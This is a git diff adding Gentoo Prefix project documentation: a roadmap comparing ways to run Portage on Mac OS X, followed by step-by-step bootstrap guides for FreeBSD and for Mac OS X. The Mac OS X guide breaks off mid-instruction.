+          before we can delve into the different routes there are.  On
+          the one hand, there is the Portage software, which is unique
+          for the Gentoo distribution.  Portage is sometimes considered
+          to be "just another package manager", but is primarily
+          focussed on building applications from source.  On the other
+          hand, there finally is the 'tree' that the Portage software
+          uses.  The tree contains the packages, how to download,
+          compile and install them.  Both are useless without each
+          other, as an engine without fuel clearly doesn't run, while
+          fuel without an engine doesn't make you move either.
+        </p>
+
+        <p>
+          The 'Gentoo' in "Gentoo Portage" not only tells the Portage
+          software is developed and used by Gentoo, but also that the
+          tree is utilises is one that is built for the Gentoo
+          distribution: a GNU/Linux distribution.  It is important to
+          note that the tree encodes logic and assumptions.  For the
+          Gentoo tree this currently means it contains GNU/Linux logic
+          and assumptions for mainly the x86 architecture.
+        </p>
+
+        <p>
+          Finally, a package manager can be primary, or secondary.  In
+          the first case, the package manager is responsible for
+          building the (core) system, while in the latter case, the
+          package manager builds on top of an existing system to enhance
+          it.  Please note that this is by no means meant as a formal
+          definition of the general concept "package manager".  Within
+          this document it is used as entity that is natively
+          responsible for managing software packages on the OS it works
+          on.  Effectively, this means that Gentoo Portage is not the
+          primary package manager on Mac OS X.  Gentoo Portage is the
+          primary package manager on its GNU/Linux distribution, and as
+          such, the Gentoo Portage tree matches this goal.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Gentoo for Mac OS X -->
+      <title>Gentoo for Mac OS X</title>
+      <body>
+
+        <p>
+          Gentoo for Mac OS X is the Gentoo Portage software, and its
+          tree put on top of Mac OS X, just as it would be on a
+          GNU/Linux system where Portage would be the primary package
+          manager.  However, Portage will not manage the (core) system
+          packages, because doing so might break the OS it is running on
+          (which has its own package manager).
+        </p>
+
+        <p>
+          The current incorporation of the Gentoo for Mac OS X project
+          in the Gentoo tree is like this.  It installs files in the
+          same places as it would on a GNU/Linux system, in the same
+          directory as the OS itself places its files.  This behaviour
+          has its advantages and disadvantages.
+        </p>
+
+        <ul>
+          <li>
+            Because Portage installs next to the OS, in the same
+            directories, no fancy path settings are necessary,
+            everything is installed in default places.  Note that the
+            relatively large overlap of the Gentoo Linux file system
+            layout and Darwin's one, causes this advantage.
+          </li>
+          <li>
+            Portage can use tools provided by the OS, this avoids
+            unnecessary compilation and waste of space.
+          </li>
+          <li>
+            Once a tool provided by the OS is outdated, or not recent
+            enough, Portage cannot update it without overwriting the OS
+            provided one.  Note that this doesn't necessarily have to be
+            a drawback, as from a progressive viewpoint this allows more
+            control over the system, e.g. breaking a possible lock-in by
+            the OS vendor.  In that sense, also downgrading a package
+            version applies.
+          </li>
+          <li>
+            The vendor of the OS that provides a tool, might have
+            changed the behaviour of the tool for some reason.  The
+            Gentoo Portage tree doesn't know about this, which can cause
+            trouble.  In such case the tree has to be modified in order
+            to use it.
+          </li>
+          <li>
+            Because Portage installs its files next to where the OS
+            installs them, the primary package manager of the OS might
+            install a package and overwrite files provided by Portage.
+            It might be hard for Portage to figure this out in time, and
+            possibly execute correcting actions.
+          </li>
+        </ul>
+
+        <p>
+          In reality, this route seems to be a nightmare, even though
+          the advantages look nice.  Many of the tools provided by Mac
+          OS X are too outdated or just slightly different.  This causes
+          a lot of packages not being able to compile because of unmet
+          dependencies, which would collide with the OS.  Many changes
+          made to the Portage tree are also not always trivial.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Darwin Portage -->
+      <title>Darwin Portage</title>
+      <body>
+
+        <p>
+          To overcome the problems of outdated software, and Portage not
+          being able to update them -- because it is a secondary package
+          manager -- Portage can be made the primary package manager.
+          This involves support in Portage's tree to build an OS X
+          system up from the ground.
+        </p>
+
+        <p>
+          The open source projects behind Apple's Mac OS X are made
+          available through the Darwin project.  As such, a tree can be
+          built which uses these sources.  Non open source proprietary
+          Apple packages can be installed on top of it using official
+          Apple Mac OS X distribution media.
+        </p>
+
+        <ul>
+          <li>
+            Because Portage is the primary package manager, it is in
+            full control, and no collisions with another package manager
+            will happen.
+          </li>
+          <li>
+            Since Portage will be the one to decide how and when the OS
+            and extra tools are installed, it will be possible to leave
+            out much unwanted software.
+          </li>
+          <li>
+            Building a system from scratch requires skills, usually not
+            available to Mac OS X users.  It also involves more
+            knowledge of the system, as Apple's tools to update the
+            system will probably not work, or hork the system.
+          </li>
+          <li>
+            A tree that encodes the logic and assumptions of the Darwin
+            software packages needs to be built.  The question remains
+            how much of the efforts of the Gentoo Portage tree can be
+            reused for this.
+          </li>
+        </ul>
+
+        <p>
+          All in all, this way is attractive to skilled system
+          administrators, and it offers a wide variety of solutions or
+          extra opportunities.  However, it seriously affects the
+          system, and it remains questionable whether such system can be
+          called a Mac OS X system.  Several efforts will have to be
+          spent to make this work.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Gentoo Portage for Mac OS X -->
+      <title>Gentoo Portage for Mac OS X</title>
+      <body>
+
+        <p>
+          With a slight difference in the name from the current project
+          form, Gentoo Portage for Mac OS X tries to use the Gentoo
+          Portage tree to its full extend on an Mac OS X system by
+          letting Portage be as close as possible to a primary package
+          manager, while in fact being a secondary package manager.
+        </p>
+
+        <p>
+          Although it might sound like a contradiction in terminis, in
+          this direction Portage is made a primary package manager,
+          while in fact it functions as a secondary one.  This is
+          possible by giving Portage its own corner in the file system,
+          allowing it to fill it as it desires to build up a system
+          there.  This requires Portage to be able to install in a so
+          called 'prefix', which is an offset given to all installed
+          applications and files, such that they don't collide with the
+          OS provided utils.
+        </p>
+
+        <ul>
+          <li>
+            By installing in a prefixed location, no collisions with OS
+            provided files can exist, allowing Portage to have tools as
+            up-to-date as it likes, or compiled the way it wants to.
+          </li>
+          <li>
+            Because Portage has control over each and every application
+            it installs, the Gentoo Portage tree can be used for Mac OS
+            X, since logic and assumptions can largerly be applied to
+            the sub-system Portage creates on Mac OS X.  (The prefix.)
+          </li>
+          <li>
+            Because Portage creates a whole sub-system, the prefix
+            location is perfectly suitable for a removable medium, such
+            that Portage and its installed applications can be shared,
+            carried with one, or whatever.  The sub-system itself should
+            run on each system that has a sufficient hardware
+            architecture, which can be a great feature for many reasons.
+          </li>
+          <li>
+            Because Portage has to provide every tool it uses itself
+            (it builds its own system), this means that many tools that
+            are already available from the OS are not used, although
+            perfectly suitable for the job.  Additionally, this means
+            space wise many applications will be double, hence many
+            bytes wasted.
+          </li>
+        </ul>
+
+        <p>
+          Even though this solution wastes space, it does provide a
+          solution for insufficient OS provided packages, as well as a
+          keen focus on shareability and protection from side effects
+          caused by OS upgrades or repairs.
+        </p>
+        <p>
+          An obvious extension to this route would be to sacrify
+          shareability for space, and use OS provided tools as long as
+          they are sufficient.  This would require a way for Portage to
+          figure out what is available in the OS, probably more dynamic
+          than what is done now for "Gentoo for Mac OS X".
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+  </chapter>
+
+  <chapter>
+    <title>Roadmap</title>
+
+    <section><!-- {{{ Current Situation -->
+      <title>Current Situation</title>
+      <body>
+        <p>
+          The current state of the Mac OS X project within Gentoo
+          implements the "Gentoo for Mac OS X" route.  This route has
+          proven to be unsuitable for Mac OS X, as the OS itself becomes
+          a too big limitation for Portage to sucessfully emerge many
+          packages, if one is not willing to overwrite packages, as in
+          the progressive profile.  Since many people prefer not to
+          touch the OS provided files, another direction is necessary.
+        </p>
+
+        <p>
+          Because "Darwin Portage" requires efforts towards a tree to be
+          made, and because it is a rather big difference from a regular
+          Mac OS X system, it was chosen to change the direction towards
+          "Gentoo Portage for Mac OS X", to enable Gentoo's Mac OS X
+          project to continue and innovate again.  The prefixed location
+          will avoid collissions, hence allowing many more packages to
+          install.
+        </p>
+
+        <p>
+          This implies that development has shifted from the live system
+          in portage to a new system only available to developers.
+          Maintenance is being done, mainly for security bumps, but
+          large investments are not being done, unless they are directly
+          reusable in the prefixed environment.
+        </p>
+
+        <p>
+          The Gentoo for Mac OS X installer that floats around the net
+          currently is old and contains many bugs.  It has been removed
+          from the official project pages, because the use of it is no
+          longer being supported.  We hope to release an updated
+          installer to fill in this gap.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Current Status -->
+      <title>Current Status</title>
+      <body>
+        <p>
+          Because "Gentoo Portage for Mac OS X" requires Portage to be
+          able to install in a prefix in order to create a sub-system,
+          Portage first has to be able to properly do this.  After this,
+          the Gentoo Portage tree has to be converted to be
+          prefix-aware.
+        </p>
+        <p>
+          Prefix support in Portage has reached an alpha level in the
+          development branches.  This -- at the moment clumsy -- but
+          more or less usuable product is used to find out what changes
+          will be necessary to the Gentoo Portage tree.  The major work
+          of making Portage prefix aware has been done, and the
+          functionality has to mature.  The feature is considered all
+          but stable.  Portage development in this area is done with
+          support from the Portage Development Team.
+        </p>
+        <p>
+          Because the Prefixed portage is more or less usuable, a few
+          Gentoo for Mac OS X developers have it installed to experiment
+          with it.  Because the changes that need to be made require
+          ebuild modifications that are not backwards compatible,
+          applications are currently ported in an overlay.  This overlay
+          currently contains applications like perl, python, apple-gcc,
+          vim, sed, awk, find, etc.  A full base install is covered,
+          based on ebuilds in the Gentoo Portage tree.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Milestones -->
+      <title>Milestones</title>
+      <body>
+        <p>
+          A few key points on the road towards implementation of Gentoo
+          Portage for Mac OS X can be indentified.  These milestones are
+          as follows:
+        </p>
+
+        <ol>
+          <li>
+            <b>Portage Prefix Support</b> - partial done<br />
+            In order to start doing anything, Portage has to be changed
+            to support prefixed installs.  This is a large and
+            non-trivial change that takes both time and lots of testing.
+          </li>
+          <li>
+            <b>Prefix-aware Portage Tree</b> - limited core done<br />
+            A Portage with prefix support, needs prefix-aware ebuilds,
+            just like a diesel engine doesn't run with gasoline.
+            Because the aims are for minimal changes to the Gentoo tree,
+            it should be a trivial task to convert ebuilds from the live
+            tree into something suitable for Portage with prefix
+            support.  Many more complicated packages, however, need
+            special treatments in order to recognise the prefix they
+            should install in correctly.  Ebuilds that have been
+            ported are put in the prefix overlay.  This overlay should
+            at minimal contain 20-30% of the live tree in order to be
+            considered as representative sample.
+          </li>
+          <li>
+            <b>Utilise Prefix-aware Portage</b><br />
+            Although the previous milestones implicitly require the
+            product to be used, this milestone is here to explicitly
+            require the prefix-aware portage to be used.  This does not
+            solely mean for OS X systems only, but also for Linux
+            systems or any other party that would like to join in this
+            development.  It is very important to have a few use cases,
+            in order to underline the fact that a prefix-aware portage
+            isn't just an OS X thing.  This milestone forms funding for
+            the next.
+          </li>
+          <li>
+            <b>Make Prefix Aware Portage Mainline Product</b><br />
+            This step will require a lot of efforts in the form of a
+            Gentoo Linux Enhancement Proposal (GLEP), but is a very
+            critical step in the whole path to get the changes made
+            accepted by the Gentoo community as a whole.  The changes
+            required for prefix-aware portage are everything but
+            trivial, and hence need approval by the community at large.
+            At this stage it helps to have several use cases, a fair
+            share of the Gentoo Portage tree converted and some really
+            strong armour.  This step won't be easy, and will require a
+            lot of efforts in writing the GLEP.  However, only if the
+            GLEP will be accepted, we can move on to the next milestone.
+            In case of a reject, we are outlaws.
+          </li>
+          <li>
+            <b>Make Gentoo Portage Tree Prefix-aware</b><br />
+            A logical conclusion of the accepted GLEP is to get the full
+            tree ported to the prefix-aware format.  Since the GLEP is
+            accepted, this might be done with some help from others to
+            speed up the process.  Again this task is non-trivial, since
+            updates occur all the time on the live tree, and they need
+            to be reflected in the new tree somehow.
+          </li>
+          <li>
+            <b>Roll Out Prefix-aware Portage</b><br />
+            This is not our job, but it is the end of this road.  In
+            order to be able to use the features of the tree, a capable
+            Portage has to be made the mainline product.
+          </li>
+        </ol>
+      </body>
+    </section><!-- }}} -->
+
+  </chapter>
+
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-freebsd.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-freebsd.xml
new file mode 100644
index 00000000..a967ae1c
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-freebsd.xml
@@ -0,0 +1,298 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-freebsd.xml,v 1.26 2010/04/20 21:05:34 darkside Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/prefix/bootstrap-freebsd.xml" lang="en">
+  <title>Gentoo Prefix Bootstrap Process for FreeBSD</title>
+  
+
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+  <author title="Author">
+    <mail link="fauli@gentoo.org">Christian Faulhammer</mail>
+  </author>
+
+  <abstract>
+    How to bootstrap Gentoo Prefix on your FreeBSD system
+  </abstract>
+
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>2.42</version>
+  <date>2010-04-20</date>
+
+  <chapter>
+    <title>Bootstrapping on FreeBSD</title>
+
+    <section><!-- {{{ Introduction -->
+      <title>Introduction</title>
+      <body>
+        <p>
+          An off-the-shelf FreeBSD system is bare.  Very bare.
+          Whoever thought that bootstrapping on Solaris was hard,
+          FreeBSD makes it even harder.  The lack of tools like bash
+          and perl requires some pre-bootstrapping prior to the actual
+          bootstrapping process.  Alternatively you can install a Bash
+          through the ports system.
+	  If you bootstrap on FreeBSD, make
+          sure the development tools are installed, which include
+          system headers and a compiler.  This bootstrap guide was
+          tested on a FreeBSD 8.0 i386 system.  Other architectures
+          should not differ too much.  Feel free to try it out on
+          other configurations and post to the <c>gentoo-alt</c>
+          mailing list for additional help.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Bootstrapping -->
+      <title>Bootstrapping</title>
+      <body>
+        <p>
+          As prerequisite, you need a GCC compiler, the GNU binutils
+          linker and system headers, such that source code can be
+          compiled into working executables.  Sufficient versions are
+          installed by installing the developer tools.
+        </p>
+        <p>
+          The first step is to choose a path to install into.  We refer
+          to this path as "prefix path", stored in the variable
+          <c>EPREFIX</c>.  A suggestion for your prefix path is
+          <path>$HOME/gentoo</path>.
+          Whatever you chose, make sure you set it in your environment:
+        </p>
+        <pre caption="Export EPREFIX variable">
+$ <i>export EPREFIX="$HOME/gentoo"</i>
+        </pre>
+        <note>
+          tcsh users can use <c>setenv EPREFIX "$HOME/gentoo"</c>
+          instead.
+        </note>
+        <p>
+          Next, add the following paths in your soon to be prefix to
+          your <c>PATH</c> environment.
+          <path>$EPREFIX/bin</path>,
+          <path>$EPREFIX/usr/bin</path>,
+          <path>$EPREFIX/tmp/bin</path> and
+          <path>$EPREFIX/tmp/usr/bin</path>.
+          Adding these paths makes sure that they will be available
+          later on in the process.
+        </p>
+        <pre caption="Add prefix paths to your PATH">
+$ <i>export PATH="$EPREFIX/usr/bin:$EPREFIX/bin:$EPREFIX/tmp/usr/bin:$EPREFIX/tmp/bin:$PATH"</i>
+        </pre>
+        <p>
+          Now the path is set, start with downloading the bootstrap
+          script from
+          <uri>http://overlays.gentoo.org/proj/alt/browser/trunk/prefix-overlay/scripts/bootstrap-bash.sh?format=txt</uri>
+          and
+          <uri>http://overlays.gentoo.org/proj/alt/browser/trunk/prefix-overlay/scripts/bootstrap-prefix.sh?format=txt</uri>.
+          From the directory where the bootstrap scripts were stored execute
+          the following commands:
+        </p>
+        <pre caption="Use the bootstrap script">
+$ <i>chmod 755 bootstrap-bash.sh bootstrap-prefix.sh</i>
+$ <i>mkdir $EPREFIX/tmp</i>
+$ <i>./bootstrap-bash.sh $EPREFIX/tmp</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX tree</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp make</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp wget</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp sed</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp python</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp coreutils8</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp findutils3</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp tar22</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp patch9</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp gawk</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX portage</i>
+        </pre>
+        <note>
+          Please note that <c>python</c>, <c>sed</c>, <c>wget</c>
+          etc. are installed in <path>$EPREFIX/tmp</path>!
+          <c>patch9</c> and the like are not typing errors but build
+          different versions that will compile out of the box on
+          FreeBSD.
+        </note>
+        <p>
+          The script will setup the <path>$EPREFIX</path>
+          directory, download a portage tree snapshot, unpack it and
+          download and install portage.  Afterwards it will try to setup
+          some sane defaults.  We continue with a little hack necessary for a successful bootstrap.
+        </p>
+        <p>
+          Let your shell take notice of all just installed programs.
+        </p>
+        <pre caption="rehash in sh">
+$ <i>hash -r</i>
+        </pre>
+        <note>
+          tcsh users can use the <c>rehash</c> command.
+        </note>
+        <p>
+          We continue adding some necessary tools which will deal with
+          many errors and warnings you might see during emerging.
+        </p>
+        <pre caption="emerge sed">
+$ <i>emerge --oneshot sed</i>
+        </pre>
+        <p>
+          Next, we emerge the <c>bash</c> shell Portage heavily relies
+          on.  The same holds for <c>wget</c>, the download manager.
+          Since its dependencies cannot be compiled at this stage,
+          we ignore those for the moment.
+        </p>
+        <pre caption="emerge bash and wget">
+$ <i>emerge --oneshot --nodeps bash</i> (avoid deps that ship scripts with shebang /bin/sh)
+$ <i>emerge --oneshot --nodeps wget</i>
+        </pre>
+        <note>
+          It is safe to ignore the "1 config files in XXX need updating"
+          message that appears till the end of the bootstrap process.
+        </note>
+        <p>
+          Now, we will emerge a compiler which will use the GNU
+          linker.  This is a requirement for many packages that follow
+          in the bootstrap process, in particular Perl.  The packages
+          to emerge include the <c>baselayout</c> package.  Some, if
+          not many, scripts and tools within a Gentoo system assume
+          the availability of the <c>baselayout</c> package for all
+          communication using the Gentoo colour scheme.
+        </p>
+        <pre caption="emerge linker and compiler">
+$ <i>emerge --oneshot --nodeps baselayout-prefix</i>
+$ <i>emerge --oneshot --nodeps xz-utils</i>
+$ <i>emerge --oneshot --nodeps m4</i>
+$ <i>emerge --oneshot --nodeps flex</i>
+$ <i>emerge --oneshot --nodeps bison</i>
+$ <i>emerge --oneshot --nodeps binutils-config</i>
+$ <i>emerge --oneshot --nodeps binutils</i>
+$ <i>emerge --oneshot --nodeps gcc-config</i>
+$ <i>emerge --oneshot --nodeps "=gcc-4.2*"</i>
+        </pre>
+        <p>
+          Since the tools for building are now installed in your Prefix,
+          the little helpers we used before are no longer necessary.
+          They may even cause trouble, so we unset them.
+        </p>
+        <pre caption="Unset no longer needed environment variables">
+$ <i>unset LDFLAGS CPPFLAGS CHOST CC CXX HOSTCC</i>
+        </pre>
+        <p>
+          We continue getting more tools in our Prefix.  We no longer
+          ignore dependencies all the time, so a lot of packages will be
+          emerged at this stage.  Slowly our Prefix gets more robust as
+          we progress here.
+        </p>
+        <pre caption="emerge several tools">
+$ <i>emerge --oneshot perl</i>
+$ <i>emerge --oneshot coreutils</i>
+$ <i>emerge --oneshot findutils</i>
+$ <i>emerge --oneshot tar</i>
+$ <i>emerge --oneshot grep</i>
+$ <i>emerge --oneshot patch</i>
+$ <i>emerge --oneshot gawk</i>
+$ <i>emerge --oneshot make</i>
+$ <i>emerge --oneshot --nodeps file</i>
+$ <i>emerge --oneshot --nodeps eselect</i>
+$ <i>emerge --oneshot pax-utils</i>
+        </pre>
+        <p>
+          Now we have a good bunch of programs that Portage needs, we
+          can replace the bootstrapped Portage by a properly installed
+          one, using Portage itself.  Also here a few dependencies are
+          first emerged, such as the language Portage is written in:
+          <c>python</c>.  We need to temporarily tell Portage that the
+          bootstrapped Portage can be overwritten.
+        </p>
+        <pre caption="emerge portage">
+$ <i>env FEATURES="-collision-protect" emerge --oneshot portage</i>
+        </pre>
+        <p>
+          Now we have emerged everything we bootstrapped before, we
+          remove the temporary directory and its use as it is no longer
+          necessary.
+        </p>
+        <pre caption="Remove tmp directory">
+$ <i>rm -Rf $EPREFIX/tmp/*</i>
+$ <i>hash -r</i>
+        </pre>
+        <p>
+          Before we do any further merges, we are going to update our
+          tree.  Updating the tree is done using:
+        </p>
+        <pre caption="Updating the tree">
+$ <i>emerge --sync</i>
+        </pre>
+        <p>
+          Next, we let Portage emerge all packages that complete a
+          system install that we eventually need to finalise this Prefix
+          installation.
+        </p>
+        <pre caption="emerge system">
+$ <i>emerge -u system</i>
+        </pre>
+        <p>
+          Now is a good time to set the preferences for our soon to be
+          Prefix.  This includes customisations such as general
+          <c>USE</c>-flags, <c>CFLAGS</c> and <c>MAKEOPTS</c> in
+          <path>$EPREFIX/etc/make.conf</path>.  Be conservative with
+          <c>CFLAGS</c>!  Note that the code below is an example, and is
+          meant for inspiration only.
+        </p>
+        <pre caption="Customising the Prefix installation - example">
+$ <i>echo 'USE="unicode nls"' >> $EPREFIX/etc/make.conf</i>
+$ <i>echo 'CFLAGS="-O2 -pipe"' >> $EPREFIX/etc/make.conf</i>
+$ <i>echo 'CXXFLAGS="${CFLAGS}"' >> $EPREFIX/etc/make.conf</i>
+        </pre>
+        <p>
+          Since we have everything in place for a self-catered rebuild,
+          we can start the final stage to install the Prefix system.
+          This final stage recompiles everything in the system, but now
+          all packages can be compiled with tools from the Prefix,
+          instead of those from the host system.
+        </p>
+        <pre caption="Doing the final system installation">
+$ <i>emerge -e system</i>
+        </pre>
+        <p>
+          After <c>system</c> has emerged successfully, your Prefix will
+          be set up properly, and you can emerge the whichever tools you
+          choose from the Prefix tree.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Using the Prefix -->
+      <title>Using the Prefix</title>
+      <body>
+        <p>
+          To use your bootstrapped prefix environment, you best start a
+          shell from the prefix, such that your path and other
+          environment variables are set correctly.  To facilitate in
+          this, a small helper script can be created by the bootstrap
+          script.
+        </p>
+        <pre caption="Creating a start-script">
+$ <i>cd $EPREFIX/usr/portage/scripts</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX startscript</i>
+        </pre>
+        <p>
+          After running this, a script <c>startprefix</c> will be
+          present in <c>$EPREFIX</c>.  You can freely move the script to
+          e.g. your homedir for convenience.  Running the script will
+          drop you into a prefix shell, where for example <c>emerge</c>
+          is directly at your disposal.  Enjoy your prefix!
+        </p>
+      </body>
+    </section>
+
+  </chapter>
+
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable spell spelllang=en_gb: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-macos.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-macos.xml
new file mode 100644
index 00000000..7244692c
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-macos.xml
@@ -0,0 +1,313 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-macos.xml,v 1.51 2010/07/02 14:24:30 grobian Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/prefix/bootstrap-macos.xml" lang="en">
+  <title>Gentoo Prefix Bootstrap Process for Mac OS X</title>
+  
+
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+
+  <abstract>
+    How to bootstrap Gentoo Prefix on your Mac OS X system
+  </abstract>
+
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.26</version>
+  <date>2010-07-02</date>
+
+  <chapter>
+    <title>Bootstrapping on OS X</title>
+
+    <section><!-- {{{ Introduction -->
+      <title>Introduction</title>
+      <body>
+        <p>
+          Apple Mac OS X was initially supported in the main Gentoo
+          portage tree with the ppc-macos keyword.  The approach taken
+          then, however, resulted in too many problems, which was the
+          drive behind creating Prefixed Portage.
+        </p>
+        <p>
+          Bootstrapping on OS X is relatively simple, as the system
+          itself provides most of the tools get up to speed quickly.
+          Prefixed Portage is tested and supported on Mac OS X Tiger,
+          Leopard and Snow Leopard on PPC and x86 architectures.  Tests
+          on PPC Panther were successful, but the platform itself isn't
+          fully supported any more.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Bootstrapping -->
+      <title>Bootstrapping</title>
+      <body>
+        <p>
+          As prerequisite, you have to have the latest Xcode installed.
+          Xcode provides the compiler collection.  Bootstrapping is not
+          (yet) supported without it.  If you don't have the latest
+          Xcode installed and run into trouble, try updating first.
+        </p>
+        <p>
+          The first step is to choose a path to install into.  We refer
+          to this path as "Prefix path", stored in the variable
+          <c>EPREFIX</c>.  Some suggestions for your Prefix path are
+          <path>$HOME/Gentoo</path> or <path>$HOME/Library/Gentoo</path>.
+          Whatever you chose, make sure you set it in your environment:
+        </p>
+        <pre caption="Export EPREFIX variable">
+$ <i>export EPREFIX="$HOME/Gentoo"</i>
+        </pre>
+        <note>
+          tcsh users can use <c>setenv EPREFIX "$HOME/Gentoo"</c>
+          instead.
+        </note>
+        <p>
+          Next, add the following paths in your soon to be Prefix to
+          your <c>PATH</c> environment.
+          <path>$EPREFIX/bin</path>,
+          <path>$EPREFIX/usr/bin</path>,
+          <path>$EPREFIX/tmp/bin</path> and
+          <path>$EPREFIX/tmp/usr/bin</path>.
+          Adding these paths makes sure that they will be available
+          later on in the process.
+        </p>
+        <pre caption="Add Prefix paths to your PATH">
+$ <i>export PATH="$EPREFIX/usr/bin:$EPREFIX/bin:$EPREFIX/tmp/usr/bin:$EPREFIX/tmp/bin:$PATH"</i>
+        </pre>
+        <p>
+          If you want to end up with a 64-bits native Prefix
+          installation, then set your <c>CHOST</c> variable accordingly
+          to <c>x86_64-apple-darwin9</c> for Leopard, or
+          <c>x86_64-apple-darwin10</c> for Snow Leopard.  You
+          <e>only</e> need to do this if you want a 64-bits native
+          Prefix!
+        </p>
+        <p>
+          Now the path is set, start with downloading the bootstrap
+          script from
+          <uri>http://overlays.gentoo.org/proj/alt/browser/trunk/prefix-overlay/scripts/bootstrap-prefix.sh?format=txt</uri>.
+          From the directory where the bootstrap script was stored execute
+          the following commands:
+        </p>
+        <pre caption="Use the bootstrap script">
+$ <i>chmod 755 bootstrap-prefix.sh</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX tree</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp make</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp wget</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp sed</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp python</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp coreutils6</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp findutils</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp tar15</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp patch9</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp grep</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp gawk</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp bash</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX portage</i>
+        </pre>
+        <note>
+          Please note that <c>wget</c>, <c>sed</c>, <c>python</c>, etc.
+          are installed in <path>$EPREFIX/tmp</path>!
+        </note>
+        <p>
+          The script will setup the <path>$EPREFIX</path>
+          directory, download a portage tree snapshot, unpack it and
+          download and install portage.  Afterwards it will try to setup
+          some sane defaults.
+          Because we installed some new applications, we will instruct
+          bash to reconsider all paths we have:
+        </p>
+        <pre caption="rehash in bash">
+$ <i>hash -r</i>
+        </pre>
+        <note>
+          tcsh users can use the <c>rehash</c> command.
+        </note>
+        <p>
+          We continue adding some necessary tools which will deal with
+          many errors and warnings you might see during emerging.
+        </p>
+        <pre caption="emerge sed">
+$ <i>emerge --oneshot sed</i>
+        </pre>
+        <p>
+          Next, we emerge the <c>bash</c> shell Portage heavily relies
+          on.  The same holds for <c>wget</c>, the download manager.
+          Since its dependencies cannot be compiled at this stage,
+          we ignore those for the moment.  Pax-utils allow Portage to
+          examine the binaries it installs for correctness.
+        </p>
+        <pre caption="emerge bash, pax-utils and wget">
+$ <i>emerge --oneshot --nodeps bash</i> (avoid deps which install scripts with shebang /bin/sh)
+$ <i>emerge --oneshot pax-utils</i>
+$ <i>emerge --oneshot --nodeps wget</i>
+        </pre>
+        <note>
+          It is safe to ignore the "1 config files in XXX need updating"
+          message that appears till the end of the bootstrap process.
+        </note>
+        <p>
+          Now, we will emerge a compiler and linker, setup to make use
+          of the Gentoo Prefix environment.  The packages to emerge
+          include the <c>baselayout</c> package.  Some, if not many,
+          scripts and tools within a Gentoo system assume the
+          availability of the <c>baselayout</c> package for all
+          communication using the Gentoo colour scheme.
+        </p>
+        <pre caption="emerge prerequisites for compiler and linker">
+$ <i>emerge --oneshot --nodeps baselayout-prefix</i>
+$ <i>emerge --oneshot --nodeps xz-utils</i>
+$ <i>emerge --oneshot --nodeps m4</i>
+$ <i>emerge --oneshot --nodeps flex</i>
+$ <i>emerge --oneshot --nodeps bison</i>
+$ <i>emerge --oneshot --nodeps binutils-config</i>
+        </pre>
+        <p>
+          Due to different versions of Xcode, the following step
+          requires some close watch to the output of <c>gcc
+            --version</c>.  If the first line reports a version <e>
